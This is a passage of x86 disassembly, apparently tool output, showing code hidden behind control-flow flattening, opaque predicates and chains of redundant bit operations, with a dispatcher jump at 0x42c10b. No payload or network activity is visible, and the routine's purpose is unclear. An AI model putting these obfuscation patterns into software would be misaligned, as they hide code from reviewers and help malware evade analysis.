and dh, 1
mov dl, 1
xor dl, 1
mov ah, ch
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
mov dl, 1
xor dl, 1
mov cl, bl
xor cl, dl
and cl, bl
mov ah, bh
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov ah, 1
xor ah, 1
mov al, dh
xor al, ah
and al, dh
mov byte [ebp - 0x83cd0], al
xor ch, 0xff
mov al, bh
xor al, 0xff
mov ah, 1
xor ah, 1
or ch, al
mov al, byte [ebp - 0x83cd0]
or ah, 1
xor ch, 0xff
and ch, ah
mov byte [ebp - 0x83ccf], ch
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x83ccb], dl
xor ch, 0xff
mov cl, 1
xor cl, 1
mov byte [ebp - 0x83ccc], cl
and dl, 0xff
and al, cl
mov cl, byte [ebp - 0x83ccf]
mov byte [ebp - 0x83cce], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x83ccd], al
mov al, byte [ebp - 0x83ccc]
and cl, al
mov al, byte [ebp - 0x83cce]
or dl, al
mov al, byte [ebp - 0x83ccd]
or al, cl
mov cl, byte [ebp - 0x83ccc]
xor dl, al
mov al, byte [ebp - 0x83ccb]
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x83cca], al
mov cl, bl
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bl, dl
mov ch, ah
and ch, 0
and dh, dl
or al, bl
or ch, dh
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and al, cl
or dl, al
mov cl, 1
xor cl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x83cca]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x909a038
mov ecx, 0x98116db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov eax, dword [0x530348]
mov ecx, dword [0x530344]
xor esi, esi
sub esi, 0x2311ea8c
add esi, 0
sub esi, 0xd741ac64
sub esi, 1
add esi, 0xd741ac64
add esi, 0x12fcbd9
add esi, 0x2311ea8c
sub esi, 0x12fcbd9
mov edx, eax
add edx, 0x6d26f251
add edx, 0x6a91a1de
sub edx, 0x6d26f251
sub edx, 0xf3b86717
add edx, esi
add edx, 0xf3b86717
add edx, 0x8d861579
sub edx, 0x6a91a1de
sub edx, 0x8d861579
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl ch
mov ah, ch
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or ah, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
mov dh, al
and dh, bl
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, bl
or cl, dh
or dl, ah
xor cl, dl
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov byte [ebp - 0x83d17], cl
mov ah, al
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov dh, al
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ah, dh
or cl, dl
xor ah, cl
xor ah, 0xff
xor ah, 0
and ah, 0
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
or bl, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov cl, ch
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
mov al, ch
and al, bh
mov dl, 1
xor dl, 1
and dl, 0
and bh, 1
or cl, al
mov al, byte [ebp - 0x83d17]
or dl, bh
xor cl, dl
xor cl, 0xff
mov bh, 1
xor bh, 0
mov dl, 1
xor dl, 0
or cl, bh
or dl, 0
xor cl, 0xff
and cl, dl
xor bl, 0xff
mov dl, ch
xor dl, bl
and dl, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x62a443a2
mov ecx, 0x7a9c584f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x9be6ee20
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0xe3183630
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0xbfea4ec2
jmp 0x42c10b
mov eax, dword [ebp - 0x83074]
mov dword [ebp - 0x83d98], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004971b0
mov eax, dword [ebp - 0x83d98]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x83114]
mov dword [ebp - 0x831ac], eax
mov dword [ebp - 0x831b0], 0
mov dword [ebp - 0x831e0], 0x76a05c4d
jmp 0x42c10b
mov eax, dword [ebp - 0x83108]
mov eax, dword [ebp - 0x83108]
mov eax, dword [ebp - 0x83108]
mov eax, dword [ebp - 0x83108]
mov eax, dword [ebp - 0x83108]
mov eax, dword [ebp - 0x83108]
mov eax, dword [ebp - 0x83108]
mov eax, dword [ebp - 0x83108]
mov eax, dword [ebp - 0x83108]
mov dword [ebp - 0x831e0], 0x8a7b1c42
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x97abde5a
jmp 0x42c10b
mov dword [ebp - 0x831d8], 0x40
mov dword [ebp - 0x831e0], 0xfbbb518
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x14962f2e
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x8cf2e391
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0xb80758fe
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0xcc46027
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0xb3305d15
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0xca392def
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x8933c4ba
jmp 0x42c10b
jmp 0x404b9d